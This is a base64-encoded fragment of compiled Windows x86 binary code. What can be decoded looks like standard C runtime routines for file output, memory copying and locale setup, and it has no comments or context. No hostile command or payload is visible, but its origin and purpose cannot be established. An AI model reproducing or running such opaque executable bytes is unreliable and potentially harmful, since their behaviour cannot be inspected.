BAAIXAD4RgAgAAM8k5jSDl//90CITbD4RQAgAA/xV04EAAi5005f//iYUc5f//M8CJhTzl//85RRAPhkIFAACJhUTl//+KhSfl//+EwA+FZwEAAIoLi7Uo5f//M8CA+QoPlMCJhSDl//+LBgPHg3g4AHQVilA0iFX0iE31g2A4AGoCjUX0UOtLD77BUOguMAAAWYXAdDqLjTTl//8rywNNEDPAQDvID4alAQAAagKNhUDl//9TUOiyLwAAg8QMg/j/D4SxBAAAQ/+FROX//+sbagFTjYVA5f//UOiOLwAAg8QMg/j/D4SNBAAAM8BQUGoFjU30UWoBjY1A5f//UVD/tRzl//9D/4VE5f///xVw4EAAi/CF9g+EXAQAAGoAjYU85f//UFaNRfRQi4Uo5f//iwD/NAf/FWzgQACFwA+EKQQAAIuFROX//4uNMOX//wPBObU85f//iYU45f//D4wVBAAAg70g5f//AA+EzQAAAGoAjYU85f//UGoBjUX0UIuFKOX//4sAxkX0Df80B/8VbOBAAIXAD4TQAwAAg7085f//AQ+MzwMAAP+FMOX///+FOOX//+mDAAAAPAF0BDwCdSEPtzMzyWaD/goPlMFDQ4OFROX//wKJtUDl//+JjSDl//88AXQEPAJ1Uv+1QOX//+gRUwAAWWY7hUDl//8PhWgDAACDhTjl//8Cg70g5f//AHQpag1YUImFQOX//+jkUgAAWWY7hUDl//8PhTsDAAD/hTjl////hTDl//+LRRA5hUTl//8Pgvn9///pJwMAAIsOihP/hTjl//+IVA80iw6JRA846Q4DAAAzyYsGA8f2QASAD4S/AgAAi4U05f//iY1A5f//hNsPhcoAAACJhTzl//85TRAPhiADAADrBou1KOX//4uNPOX//4OlROX//wArjTTl//+NhUjl//87TRBzOYuVPOX///+FPOX//4oSQYD6CnUQ/4Uw5f//xgANQP+FROX//4gQQP+FROX//4G9ROX///8TAABywovYjYVI5f//K9hqAI2FLOX//1BTjYVI5f//UIsG/zQH/xVs4EAAhcAPhEICAACLhSzl//8BhTjl//87ww+MOgIAAIuFPOX//yuFNOX//ztFEA+CTP///+kgAgAAiYVE5f//gPsCD4XRAAAAOU0QD4ZNAgAA6waLtSjl//+LjUTl//+DpTzl//8AK4005f//jYVI5f//O00Qc0aLlUTl//+DhUTl//8CD7cSQUFmg/oKdRaDhTDl//8Cag1bZokYQECDhTzl//8Cg4U85f//AmaJEEBAgb085f///hMAAHK1i9iNhUjl//8r2GoAjYUs5f//UFONhUjl//9Qiwb/NAf/FWzgQACFwA+EYgEAAIuFLOX//wGFOOX//zvDD4xaAQAAi4VE5f//K4U05f//O0UQD4I/////6UABAAA5TRAPhnwBAACLjUTl//+DpTzl//8AK4005f//agKNhUj5//9eO00QczyLlUTl//8PtxIBtUTl//8DzmaD+gp1DmoNW2aJGAPGAbU85f//AbU85f//ZokQA8aBvTzl//+oBgAAcr8z9lZWaFUNAACNjfDr//9RjY1I+f//K8GZK8LR+FCLwVBWaOn9AAD/FXDgQACL2DveD4SXAAAAagCNhSzl//9Qi8MrxlCNhDXw6///UIuFKOX//4sA/zQH/xVs4EAAhcB0DAO1LOX//zvef8vrDP8VGOBAAImFQOX//zvef1yLhUTl//8rhTTl//+JhTjl//87RRAPggr////rP2oAjY0s5f//Uf91EP+1NOX///8w/xVs4EAAhcB0FYuFLOX//4OlQOX//wCJhTjl///rDP8VGOBAAImFQOX//4O9OOX//wB1bIO9QOX//wB0LWoFXjm1QOX//3UU6D7c///HAAkAAADoRtz//4kw6z//tUDl///oStz//1nrMYu1KOX//4sG9kQHBEB0D4uFNOX//4A4GnUEM8DrJOj+2///xwAcAAAA6Abc//+DIACDyP/rDIuFOOX//yuFMOX//19bi038M81e6BXN///Jw2oQaOD6QADo4+f//4tFCIP4/nUb6Mrb//+DIADor9v//8cACQAAAIPI/+mdAAAAM/87x3wIOwWIK0EAciHoodv//4k46Ifb///HAAkAAABXV1dXV+gP2///g8QU68mLyMH5BY0cjaArQQCL8IPmH8HmBosLD75MMQSD4QF0v1DolEkAAFmJffyLA/ZEMAQBdBb/dRD/dQz/dQjoLvj//4PEDIlF5OsW6CTb///HAAkAAADoLNv//4k4g03k/8dF/P7////oCQAAAItF5Ohj5///w/91COjeSQAAWcPMzMzMzMzMVYvsV1aLdQyLTRCLfQiLwYvRA8Y7/nYIO/gPgq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